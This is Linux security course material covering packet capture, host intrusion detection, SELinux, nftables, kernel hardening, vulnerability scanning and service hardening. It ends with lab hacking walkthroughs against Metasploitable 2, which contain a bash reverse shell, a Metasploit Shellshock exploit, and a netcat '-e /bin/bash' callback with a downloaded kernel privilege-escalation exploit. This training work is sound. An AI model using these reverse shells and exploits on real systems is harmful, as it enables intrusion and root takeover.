Linux Security

Agenda

1. Wireshark / tcpdump / nmap
    - Examples tcpdump
    - Example nmap
2. Host Intrusion Detection
    - Installation ossec on Ubuntu
    - AIDE on Ubuntu/Debian
3. Disk Managemenet
    - Install partprobe/parted on Debian
4. SELinux / appArmor
    - Install selinux on Debian
    - SELinux including Walkthrough
5. Firewall
    - nftables
6. Kernel Hardening
    - modules_disabled,unprivileged_bpf_disabled,kexec_load_disabled
    - Disable TCP timestamps
7. Vulnerability Scans
    - OpenVAS Installation on Ubuntu
    - Nikto - commandline
8. Securing Network Services
    - Securing Tomcat (Standalone)
    - SSH
    - ssh-ca
9. Virtualization
    - Security Docker
10. Hacking
    - Install Metasploitable 2
    - ReverseShell
    - Hacking I - ShellShock (unprivileged permissions)
    - Hacking II - privilege escalation
11. Documentation
    - Telekom Compliance Guideline
    - Linux Security

Change language on Ubuntu

```
dpkg-reconfigure locales
# see locales that are current configured
locale
# place where it is configured
/etc/default/locale

# After that relogin or do
# su student
locale
```

tcpdump

- https://danielmiessler.com/study/tcpdump/

Patching of packages (e.g.)

- Ubuntu will patch packages when CVE's occur
- https://ubuntu.com/security/CVE-2020-11984

Search - Engine IoT

- https://www.shodan.io/

Secure grub with password (not at boot but for changes and subentries

```
#  Create password
#  e.g. password
grub-mkpasswd-pbkdf2

# /etc/grub.d/01_password
#!/bin/sh
set -e

cat << EOF
set superusers='grub'
password_pbkdf2 grub grub.pbkpdf2.sha512.....
EOF

##
chmod a+x /etc/grub.d/01_password

## Datei 10_linux
## Variable CLASS
## at then
##
CLASS="--class gnu-linux ..... --unrestricted"

update-grub
```

rsyslog

Basics

```
# Hyphen before filename : -/.....
# is for syncing but enabled by default since
https://serverfault.com/questions/463170/what-does-filepath-action-mean-in-rsyslog-
configuration
## it is set on by default anyways
# You may prefix each entry with the minus “-‘’ sign to omit syncing the file after
every logging.
```

Bug on ubuntu kern.* logs to user.*

```
logger -p kern.debug "Testmessage"
# that one logs to user.*
```

Walkthrough remote logging ubuntu

```
/etc/rsyslog.conf.d/99_remote.conf

# Provides UDP syslog reception
$ModLoad imudp
$UDPServerRun 514
# Provides TCP syslog reception
$ModLoad imtcp
$InputTCPServerRun 514

3. Then restart rsyslog:
# systemctl restart rsyslog
4. and generate a test message:

$ logger -p local0.info 'test logging'
Confirm the test message was written to the log:
# tail -n 100 /var/log/messages
```

```
# On secondary.example.com
#/etc/rsyslog.d/99-forward.conf

# Provides UDP forwarding
*.*   @192.168.1.10
# Provides TCP forwarding
*.*   @@192.168.1.10
# systemctl restart  rsyslog
#Test by using the logger utility on the client, secondary.example.com, and view the
message on the server, main. example.com.
#The configuration from this exercise will be used in the next exercise. Please keep
the changes.
```

systemd-journald -> remote logging

```
# Step 1
on both machines:
```

```
main and secondary
apt install systemd-journal-remote

# Step 1a
cp -a /lib/systemd/system/systemd-journal-remote.service /etc/systemd/systemd-journal-
remote
# Change line with ExecStart -> param https to http

# Step 2
# on secondary
/etc/systemd/journal-upload.cnf
[Upload]
URL=http://192.168.56.103:19532

# Step 2a
# Start service
systemctl start systemd-journal-upload
systemctl status systemd-journal-upload

# Testing
# on main
journalctl -f -D /var/log/journal/remote
# on seocndary
logger 'test logging"
```

setroubleshoot -> alert

```
# install setroubleshoot
yum install troubleshoot
sealert -a /var/log/audit/audit.log
```

Create a module and load it

```
ausearch -c 'httpd' --raw | audit2allow -M my-httpd
semodule -X 300 -i my-httpd.pp
```

Wireshark / tcpdump / nmap

Examples tcpdump

What interfaces are available for listening ?

```
tcpdump -D
## Eventually doublecheck with
ip a
```

-n / -nn (Disable hostname / port resolving)

```
## I would always recommend to do so, because it saves performance

## Do not do hostname lookups
tcpdump -i ens3 -n

## Do not do hostname and port lookups
tcpdump -i ens3 -nn
```

Exclude specific ports

```
tcpdump ! -p stp -i eth0
## more user friendly
tcpdump -i eth0 not stp and not icmp
```

Include ascii output

```
## s0 show unlimited content
## -A ASCII
tcpdump -A -s0 port 80
```

Only from and/or to a specific host

```
## to or from host
tcpdump -i eth0 host 10.10.1.1

## To a specific host
tcpdump -i eth0 dst 10.10.1.20
```

Write to a pcap file

```

```

Only show GET requests

```
## this show only all tcp packages
tcpdump -i eth0 tcp


```

```
## now let us filter specific ones -> 0x474554 -> is equivalent for GET as hex -
numbers
## https://www.torsten-horn.de/techdocs/ascii.htm
## tcp header has 20 bytes and maximum of 60 bytes, allowing for up to 40 bytes of
options in the header.
tcpdump -s 0 -A -vv 'tcp[((tcp[12:1]((tcp[12:1] & 0xf0) >> 2):4] = 0x47455420'

## Same goes for post - operations
tcpdump -s 0 -A -vv 'tcp[((tcp[12:1]((tcp[12:1] & 0xf0) >> 2):4] = 0x504f5354'
```

```
## Deeply explained here
https://security.stackexchange.com/questions/121011/wireshark-tcp-filter-tcptcp121-
0xf0-24
```

Extra http get/post urls

```
## show linewise
tcpdump -s 0 -v -n -l | egrep -i "POST /|GET /|Host:"
```

Refs:

- https://hackertarget.com/tcpdump-examples/

Example nmap

Example 1

```
Server 1:
nmap -p 80 --script=http-enum.nse targetip

Server 2:
tcpdump -nn port 80 | grep "GET /"
```

Ref:

- http://schulung.t3isp.de/documents/linux-security.pdf

Host Intrusion Detection

Installation ossec on Ubuntu

Wazuh

```
## Fork / Weiterentwicklung
https://wazuh.com/
```

OSSEC -> Installation

```
### Install on 2 servers
### server 1: ossec-hids-server
### server 2: ossec-hids-agent

## https://www.ossec.net/downloads/#apt-automated-installation-on-ubuntu-and-debian
## Installs repo-config but not correctly !
wget -q -O - https://updates.atomicorp.com/installers/atomic | sudo bash

## add [arch=amd64] to line
root@server1:/etc/apt/sources.list.d# cat atomic.list
deb [arch=amd64] https://updates.atomicorp.com/channels/atomic/ubuntu focal main
```

```
## Install ossec-hids-server
apt install ossec-hids-server

## adjust /var/ossec/etc/ossec.conf
<ossec_config>
  <global>
    <email_notification>yes</email_notification>
    <email_to>root@localhost</email_to>
    <smtp_server>127.0.0.1</smtp_server>
    <email_from>ossec@localhost</email_from>
  </global>
```

```
## Start
/var/ossec/bin/ossec-control start
```

Testing on server 1

```
ssh root@localhost
## enter wrong password 3 times

## alert is logged to
cd /var/ossec/logs/alerts/
tail alerts.log
2020 Nov 11 13:48:59 server2->/var/log/auth.log
Rule: 5710 (level 5) -> 'Attempt to login using a non-existent user'
Src IP: 127.0.0.1
Nov 11 13:48:59 server2 sshd[56463]: Failed password for invalid user root from
127.0.0.1 port 44032 ssh2
```

```
** Alert 1605098949.1127: - syslog,sshd,invalid_login,authentication_failed,
2020 Nov 11 13:49:09 server2->/var/log/auth.log
Rule: 5710 (level 5) -> 'Attempt to login using a non-existent user'
Nov 11 13:49:07 server2 sshd[56463]: message repeated 2 times: [ Failed password for
invalid user root from 127.0.0.1 port 44032 ssh2]
```

Installation server 2 (agent)

```
apt install ossec-hids-agent

## vi /var/ossec/etc/ossec.conf
## change to ip of server 2
<!-- OSSEC example config -->

<ossec_config>
  <client>
    <server-ip>10.10.11.142</server-ip>
  </client>
```

Manage Agent (server 2) on server1 (ossec-server)

```
 /var/ossec/bin/manage_agents


****************************************
* OSSEC HIDS v3.6.0 Agent manager.     *
* The following options are available: *
****************************************
   (A)dd an agent (A).
   (E)xtract key for an agent (E).
   (L)ist already added agents (L).
   (R)emove an agent (R).
   (Q)uit.
Choose your action: A,E,L,R or Q: A

- Adding a new agent (use '\q' to return to the main menu).
  Please provide the following:
   * A name for the new agent: server1
   * The IP Address of the new agent: 10.10.11.141
   * An ID for the new agent[001]:
Agent information:
   ID:001
   Name:server2
   IP Address:10.10.11.141

Confirm adding it?(y/n): y
Agent added with ID 001.


****************************************
```

```
* OSSEC HIDS v3.6.0 Agent manager.     *
* The following options are available: *
****************************************
   (A)dd an agent (A).
   (E)xtract key for an agent (E).
   (L)ist already added agents (L).
   (R)emove an agent (R).
   (Q)uit.
Choose your action: A,E,L,R or Q: e

Available agents:
   ID: 001, Name: server2, IP: 10.10.11.141
Provide the ID of the agent to extract the key (or '\q' to quit): 1

Agent key information for '001' is:
MDAxIHNlcnZlcjEgMTAuMTAuMTEuMTQxIDkyMjAyMGQ5NzNjODE4NDM3YmIxZmU5ZDBjMmFmYmMwY2JmMmE2Y2E2
```

** Press ENTER to return to the main menu.

```
****************************************
* OSSEC HIDS v3.6.0 Agent manager.     *
* The following options are available: *
****************************************
   (A)dd an agent (A).
   (E)xtract key for an agent (E).
   (L)ist already added agents (L).
   (R)emove an agent (R).
   (Q)uit.
Choose your action: A,E,L,R or Q: q

** You must restart OSSEC for your changes to take effect.

manage_agents: Exiting.
manage_agents: Exiting.
root@server2:/var/ossec/logs/alerts#

## Server neu starten
 /var/ossec/bin/ossec-control restart
```

Import Key on agent - system (server 2)

```
 /var/ossec/bin/manage_agents


****************************************
* OSSEC HIDS v3.6.0 Agent manager.     *
* The following options are available: *
****************************************
   (I)mport key from the server (I).
```

```
   (Q)uit.
Choose your action: I or Q: I

* Provide the Key generated by the server.
* The best approach is to cut and paste it.
*** OBS: Do not include spaces or new lines.

Paste it here (or '\q' to quit):
MDAxIHNlcnZlcjEgMTAuMTAuMTEuMTQxIDkyMjAyMGQ5NzNjODE4NDM3YmIxZmU5ZDBjMmFmYmMwY2JmMmE2Y2E4
```

```
Agent information:
   ID:001
   Name:server2
   IP Address:10.10.11.141

Confirm adding it?(y/n): y
2020/11/11 14:08:11 manage_agents: ERROR: Cannot unlink /queue/rids/sender: No such
file or directory
Added.
** Press ENTER to return to the main menu.
```

```
****************************************
* OSSEC HIDS v3.6.0 Agent manager.     *
* The following options are available: *
****************************************
   (I)mport key from the server (I).
   (Q)uit.
Choose your action: I or Q: q

** You must restart OSSEC for your changes to take effect.

manage_agents: Exiting.
manage_agents: Exiting.
root@server1:/var/ossec/etc#

#### Restart agent
/var/ossec/bin/ossec-control restart
```

produce problem on server 2 (agent)

```
## enter wrong password 3 times
ssh root@localhost
```

validatte on server 1 (server)

```
you should get an email to root
please check
/var/ossec/logs/alert/alert.log
```

```
## if this is not working restart server2 and agent->server1
server1: /var/ossec/bin/ossec-control restart
server2: /var/ossec/bin/ossec-control restart

## Please retry to ssh with wrong pw 3 x !!!
```

Change scan config on server1 ossec.conf

```
## like so --> first lines
 <syscheck>
    <!-- Frequency that syscheck is executed -- default every 20 hours -->
    <frequency>120</frequency>
    <alert_new_files>yes</alert_new_files>


    <!-- Directories to check  (perform all possible verifications) -->
    <directories check_all="yes" report_changes="yes"
realtime="yes">/etc,/usr/bin,/usr/sbin</directories>
    <directories check_all="yes" report_changes="yes"
realtime="yes">/bin,/sbin,/boot</directories>
```

```
## Adjust local rules
root@server1:/var/ossec/rules# vi local_rules.xml
  <rule id="554" level="7" overwrite="yes">
     <category>ossec</category>
     <decoded_as>syscheck_new_entry</decoded_as>
     <description>File added to system</description>
     <group>syscheck,</group>
  </rule>


</group> <!-- SYSLOG,LOCAL -->
```

Restart hids-server (server1)

```
 /var/ossec/bin/ossec-control restart
```

Optional scan immediately

```
##it is possible from the hids-server (server1 aka main.example)
##to do an immediate scan on the agents (server2 aka secondary.example.com)
## by restarting agent

/var/ossec/bin/agent_control -R 001
```

AIDE on Ubuntu/Debian

Install

```
apt install aide
## adjust config
## /etc/aide.conf /etc/aide.conf.d <- rules
aideinit

## No necessary on Debian / Ubuntu
## aideinit does this
## mv /var/lib/aide/aide.db.new.gz /var/lib/aide/aide.db.gz
```

Backup

```
tar czvf initial-aide.tgz /etc/aide/aide.conf /usr/bin/aide /var/lib/aide/aide.db.new
```

Do the check

```
aide.wrapper --check
```

Check is done on a daily basis

- /etc/cron.daily/aide

Disk Managemenet

Install partprobe/parted on Debian

```
## partprobe is in the package parted
apt install parted

<div class="page-break"></div>

## SELinux / appArmor

### Install selinux on Debian


### Walkthrough
```

apt-get install selinux-basics selinux-policy-default auditd selinux-activate reboot

for checking

Also refer to our other documents

e.g. apache walkthrough

setenforce 1

check-selinux-installation echo $?

```
### Howto on Debian

  * https://wiki.debian.org/SELinux/Setup

<div class="page-break"></div>

### SELinux including Walkthrough


### Walkthrough
```

be sure selinux is activated

setenforce 1 ps -efZ | grep apache2 system_u:system_r:httpd_t:s0 root 9967 1 0 04:18 ? 00:00:00 /usr/sbin/apache2 -k start touch /var/www/html/index.html ls -Z /var/www/html/*

output

unconfined_u:object_r:httpd_sys_content_t:s0 /var/www/html/index.html

So is http_t - domain allowed to access ?

sesearch --allow --source httpd_t --target httpd_sys_content_t --class file

Yes !

2019/07/31 08:25 47/56 Training materials / Schulungsunterlagen - http://localhost/dokuwiki/

output

allow httpd_t httpd_sys_content_t:file { lock ioctl read getattr open }; allow httpd_t httpdcontent:file { create link open append rename write ioctl lock getattr unlink setattr read }; [(httpd_builtin_scripting && httpd_unified && httpd_enable_cgi)]:True ...

so let's check

echo "hello" > /var/www/html/index.html chmod 775 /var/www/html/index.html

open in browser:

e.g.

http://

you should get an output -> hello ;o)

Now change the type of the file

ONLY changes temporarily

NEXT restorecon breaks it.

chcon --type var_t /var/www/html/index.html ls -Z /var/www/html/index.html

open in browser again

http://

NOW -> you should have a permission denied

Why ? -> var_t is not one of the context the webserver domain

(http_t) is not authorized to connect to

Doublecheck

sesearch --allow --source httpd_t --target var_t --class file

-> no output here -> no access

Restore again

restorecon -v /var/www/html/index.html

output

Relabeled /var/www/html/index.html from

unconfined_u:object_r:var_t:s0 to unconfined_u:object_r:httpd_sys_content_t:s0 ls -Z /var/www/html/index.html

output

unconfined_u:object_r:httpd_sys_content_t:s0 /var/www/html/index.html

open in browser again

http://

Now testpage works again

```
### setroubleshoot to find problems
```

yum install setroubleshoot sealert -a /var/log/audit/audit.log

see how to fix

```
### Create module
```

setenforce 0

replay situation, like opening page in webbrowser -> httpd

analyse logs

ausearch -c 'httpd' --raw | audit2allow -M my-httpd semodule -i my-httpd.pp setenforce 1

retest- should work now

```
### Set single domains/types to permissive
```

semanage permissive -a httpd_t semodule -l | grep permissive permissive_httpd_t 1.0 permissivedomains 1.0.0 semanage permissive -d httpd_t

```
### Docs
```

```
  * http://schulung.t3isp.de/documents/linux-security.pdf

<div class="page-break"></div>

## Firewall

### nftables


### Generally ;o)
```

In IPtables, -> several chains and tables that are loaded by default.

iptables -L

In nftables, there are no default chains or tables.

```
### Ubuntu 20.04LTS -> 20.10
```

Starting from Ubuntu 20.10 it will be the default system -> nftables

```
### Walkthrough / migration to nftables

#### take care of current rules
```

iptables-save > fwrules.txt cat fwrules.txt iptables-restore-translate -f fwrules.txt iptables-restore-translate -f fwrules.txt > ruleset.nft

```
## now installing nftables
```

apt install nftables

important -> iptables will still work then

apt install iptables-nftables-compat # not needed for ubuntu 20.04

systemctl enable --now nftables.service

```
## now load the rules to nft
```

nft -f ruleset.nft nft list ruleset

```
### Examples nft
```

##review current configuration: root@host [~]# nft list ruleset

##Add a new table, with family "inet" and table "filter": root@host [~]# nft add table inet filter

##Add a new chain, to accept all inbound traffic: root@host [~]# nft add chain inet filter input { type filter hook input priority 10 ; policy drop }

##Add a new rule, to accept several TCP ports: root@host [~]# nft add rule inet filter input tcp dport { ssh, telnet, https, http } accept

##To show rule handles: root@host [~]# nft --handle --numeric list chain family table chain

show handles and numbers

nft --handle --numeric list ruleset

##To delete a rule: root@host [~]# nft delete rule inet filter input handle 3

##To save the current configuration: root@host [~]# nft list ruleset > /etc/nftables.conf

```
### Deleting rules / all rules
```

handle is an internal number that identifies a certain rule.

nft flush rule filter output nft flush table filter

```


### Create a firewall config
```

flush ruleset

List all IPs and IP ranges of your traffic filtering proxy source.

define SAFE_TRAFFIC_IPS = { x.x.x.x/xx, x.x.x.x/xx, x.x.x.x, x.x.x.x }

table inet firewall {

```
chain inbound {

    # By default, drop all traffic unless it meets a filter
    # criteria specified by the rules that follow below.
    type filter hook input priority 0; policy drop;

    # Allow traffic from established and related packets.
    ct state established,related accept

    # Drop invalid packets.
    ct state invalid drop

    # Allow loopback traffic.
    iifname lo accept

    # Allow all ICMP and IGMP traffic, but enforce a rate limit
    # to help prevent some types of flood attacks.
    ip protocol icmp limit rate 4/second accept
    ip6 nexthdr ipv6-icmp limit rate 4/second accept
```

```
    ip protocol igmp limit rate 4/second accept

    # Allow SSH on port 22.
    tcp dport 22 accept

    # Allow HTTP(S).
    # -- From anywhere
    tcp dport { http, https } accept
    udp dport { http, https } accept
    # -- From approved IP ranges only
    # tcp dport { http, https } ip saddr $SAFE_TRAFFIC_IPS accept
    # udp dport { http, https } ip saddr $SAFE_TRAFFIC_IPS accept

    # Uncomment to allow incoming traffic on other ports.
    # -- Allow Jekyll dev traffic on port 4000.
    # tcp dport 4000 accept
    # -- Allow Hugo dev traffic on port 1313.
    # tcp dport 1313 accept

    # Uncomment to enable logging of denied inbound traffic
    # log prefix "[nftables] Inbound Denied: " flags all counter drop

}

chain forward {

    # Drop everything (assumes this device is not a router)
    type filter hook forward priority 0; policy drop;

    # Uncomment to enable logging of denied forwards
    # log prefix "[nftables] Forward Denied: " flags all counter drop

}

chain outbound {

    # Allow all outbound traffic
    type filter hook output priority 0; policy accept;

}
```

}

```
#### Ref:

  * https://wiki.nftables.org/wiki-nftables/index.php/Simple_ruleset_for_a_server
  * https://firewalld.org/documentation/man-pages/firewalld.conf.html


### Some commands ;o
```

add chain

lower priority first

nft add chain inet example_table example_chain { type filter hook input priority 10 ; policy drop ; }

append at the end

nft add rule inet my_table my_filter_chain tcp dport ssh accept

add at the beginning

nft insert rule inet my_table my_filter_chain tcp dport http accept

```
### revert back to iptables
```

‘firewallbackend‘ entry in /etc/firewalld/firewalld.conf back to ‘iptables‘,

```
### References

  * https://www.liquidweb.com/kb/how-to-install-nftables-in-ubuntu/
  * https://wiki.nftables.org/wiki-
nftables/index.php/Configuring_chains#Base_chain_priority


<div class="page-break"></div>

## Kernel Hardening

### modules_disabled,unprivileged_bpf_disabled,kexec_load_disabled


### Hardening params
```

Prevent loading of modules after a specific timeframe after boot

kernel.modules_disabled=1

Disable live patching

kernel.kexec_load_disabled=1

You are not using berkeley package filter

disable loading of modules

kernel.unprivileged_bpf_disabled=1

```
### Tools

#### Lockdown
```

Interesting script to do some restrictions

https://gitlab.com/taggart/lockdown

```
<div class="page-break"></div>

### Disable TCP timestamps


### Why ?
```

When timestamps are enabled, attacker can find out how long the system is already running.

By so, he can evtl findout the patch - level of the system.

```
### Test (Centos)
```

Enabled

main (Server): yum install httpd systemctl start httpd sysctl net.ipv4.tcp_timestamps
net.ipv4.tcp_timestamps = 1

secondary (Server): yum install epel-release yum install hping3 hping3 -S -p 80 --tcp-timestamp

now switch it off

main (server): sysctl net.ipv4.tcp_timestamps = 0

secondary (server): hping3 -S -p 80 --tcp-timestamp

```
### Ref:

https://netsense.ch/blog/tcp-timestamps/

<div class="page-break"></div>

## Vulnerability Scans

### OpenVAS Installation on Ubuntu


### Vagrant
```

virtualbox vagrant git for windows

mkdir ubuntu cd ubuntu vagrant init

```
### Installation for version GVM 20.08 (2021-05-19)
```

Variant 1: Install on Ubuntu Server 20.04: as follows: https://launchpad.net/~mrazavi/+archive/ubuntu/gvm

or Variant 2: docker-container https://github.com/admirito/gvm-containers

```
### Installation for version GVM 11


##  OpenVAS (Ubuntu 20.04LTS)

### Requirements

  * tested with 1 GB and 25 GB -> does not work,
    df -> 100% // GMP error during authentication -> when trying to login
  * tested with 2 GB and 50 GB -> WORKS !

### openvas -> gvm (Greenbone Vulnerability Management) / mrazavi
```

Installation on Ubuntu 20.04 LTS https://launchpad.net/~mrazavi/+archive/ubuntu/gvm

https://www.osboxes.org/ubuntu/

Done with vagrant init ubuntu/focal64 instead

postgresql is needed

sudo apt install -y postgresql sudo add-apt-repository ppa:mrazavi/gvm sudo apt install -y gvm

only from one machine (when same source ip) at a time

greenbone-nvt-sync sudo greenbone-scapdata-sync sudo greenbone-certdata-sync

You can access the Greenbone Security Assistant web interface at:

https://localhost:9392

The default username/password is as follows:

Username: admin Password: admin

You can check the status of greenbone daemons with systemctl:

systemctl status ospd-openvas # scanner systemctl status gvmd # manager systemctl status gsad # web ui

change /etc/default

https://:9392

```
Documentation
https://docs.greenbone.net/GSM-Manual/gos-20.08/en/web-interface.html

### PDF - Generation
```

2 packages are needed for the pdf-generation:

apt install -y texlive-latex-extra --no-install-recommends apt install -y texlive-fonts-recommended

after having installed these, pdf generation works !

```
<div class="page-break"></div>

### Nikto - commandline


### Walkthrough
```

Debian 10

apt install nikto nikto -h http://main

```
<div class="page-break"></div>

## Securing Network Services

### Securing Tomcat (Standalone)


### Run Behind nginx / apache

### Change Server-Header
```

/conf/server.xml

```
### Enable ssl
```

In server.xml under Connector

SSLEnabled="true" scheme="https" keystoreFile="ssl/keystore.jks" keystorePass="somepass" clientAuth="false" sslProtocol="TLS"

```
### Force ssl
```

Protected Context /* CONFIDENTIAL

```
### Prevent XSS - attacks (Clients side scripts) on cookies

  * https://owasp.org/www-community/HttpOnly

### Delete unnecessary apps
```

[root@main webapps]# ls -lt drwxr-xr-x 14 tomcat tomcat 4096 Sep 29 15:26 docs drwxr-xr-x 7 tomcat tomcat 4096 Sep 29 15:26 examples drwxr-xr-x 5 tomcat tomcat 4096 Sep 29 15:26 host-manager drwxr-xr-x 5 tomcat tomcat 4096 Sep 29 15:26 manager drwxr-xr-x 3 tomcat tomcat 4096 Sep 29 15:26 ROOT

```
### Standard-Exception - Seite und Fehlerseiten erden
```

web.xml 404 /error.jsp 403 /error.jsp 500 /error.jsp java.lang.Exception /error.jsp

```
### Run with security manager
```

Start tomcat with open "-security" This imposes the security manager

debian 10

Enable SECURITY_MANAGER = true

in /etc/default/tomcat9

https://tomcat.apache.org/tomcat-9.0-doc/security-manager-howto.html

```
### Ref:

  * https://geekflare.com/de/apache-tomcat-hardening-and-security-guide/

<div class="page-break"></div>

### SSH


### Tools

  * https://www.ssh-audit.com/hardening_guides.html

### Ref:

  * Setting correct ciphers a.s.o.
  * https://www.ssh-audit.com/hardening_guides.html#ubuntu_20_04_lts

<div class="page-break"></div>

### ssh-ca
```

```
### Refs:

  * https://www.lorier.net/docs/ssh-ca.html

<div class="page-break"></div>

## Virtualization

## Hacking

### Install Metasploitable 2

### ReverseShell


### Control-Node main.example.com
```

here we will issue the commands

nc -l 4444

```
### Hacked node secondary.example.com
```

bash -i >& /dev/tcp/192.168.56.103/4444 0>&1

```
<div class="page-break"></div>

### Hacking I - ShellShock (unprivileged permissions)


### Todo 1: Prepare the target (metasploitable 2)
```

metasploitable 2 should be up and running

Step 1:

als root: sudo su

password: msfadmin

cd /usr/lib/cgi-bin vi hello.sh

--> content (#! /bin/bash will be the first line

##! /bin/bash echo "Content-type: text/html" echo "" echo "Hello world!"

Step 2 (permissions)

chmod 755 hello.sh

Step 3 (test in browser of machine that can reach you metasploitable2 machine

http://192.168.10.x/cgi-bin/hello.sh

```
### Todo 2: Proceed on kali
```

Connect through ssh or use desktop -> terminal as root

msfconsole msf>search shellshock msf>use exploit/multi/http/apache_mod_cgi_bash_env_exec msf.....>options

We need to set the path and the ip of the target (metaploitable 2) here.

msf.....>set rhost 192.168.10.198 msf.....>set targeturi /cgi-bin/hello.sh targeturi => /cgi-bin/hello.sh

Now we need to decide for a payload

msf.....>show payloads msf.....>set payload linux/x86/shell/reverse_tcp payload => linux/x86/shell/reverse_tcp

let again check the options

msf.....>options

IMPORTANT: If you have 2 network interfaces, you need to set the right one

msf.....>set lhost 192.168.10.169

now let's try if it would work

msf....>check

now let's exploit

msf....>exploit

Try to get some info now

whoami

Yes, we are successful

```
### Ref: (normal privileges)
```

```
  * https://null-byte.wonderhowto.com/how-to/exploit-shellshock-web-server-using-metasploit-0186084/



<div class="page-break"></div>

### Hacking II - privilege escalation


### Prerequisites

  * You need to have a reverse shell open (e.g. Hacking I - Session)

### Walkthrough
```

STEP 1: Reverse shell (connected to target)

In Reverse shell find out the kernel version

uname -a lsb_release -a

STEP 2: On kali

Open 2nd kali terminal and search exploits

searchsploit privilege | grep -i linux | grep -i kernel | grep 2.6

find out source code c

less /usr/share/exploitdb/exploits/linux/local/8572.c

Start apache server

systemctl start apache2

Symbolic link to all the exploits

ln -s /usr/share/exploitdb/exploits/linux/local/ /var/www/html/

Create a run file we will need later

vi /var/www/html/run

ip will be the ip of our kali-server

##!/bin/bash nc 192.168.10.169 12345 -e /bin/bash

STEP 3: Reverse shell (connected to target)

Download the files

cd /tmp wget http://192.168.10.169/run wget http://192.168.10.169/local/8572.c

compiling exploit in reverse shell

gcc -o exploit 8572.c ls -l

Finding the pid

cat /proc/net/netlink ps aux | grep udev

STEP 4:

on Kali start a listener

nc -lvp 12345

STEP 5:

Back on reverse shell start the exploit

with the pid you got e.g. 2748 (that from cat /proc/net/netlink)

./exploit 2748

STEP 6:

Go back to kali and in your listener enter

whoami

```
### Ref: (root privileges)

  * https://samsclass.info/124/proj14/p18xLPE.htm


<div class="page-break"></div>

## Documentation
```